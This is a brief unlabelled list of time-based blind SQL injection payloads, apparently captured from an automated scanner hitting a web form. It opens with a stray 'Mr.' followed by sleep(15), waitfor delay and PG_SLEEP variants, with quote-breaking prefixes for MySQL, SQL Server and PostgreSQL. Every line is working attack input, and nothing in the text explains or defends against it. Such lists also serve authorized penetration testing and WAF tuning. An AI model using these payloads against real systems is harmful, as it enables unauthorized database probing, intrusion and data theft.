Mr.

if(now()=sysdate(),sleep(15),0)

1 waitfor delay '0:0:15' --

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

GXhFv5ik'; waitfor delay '0:0:15' --

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

zOJKsdvq'); waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

PE2uVu7V')); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

-5 OR 650=(SELECT 650 FROM PG_SLEEP(15))--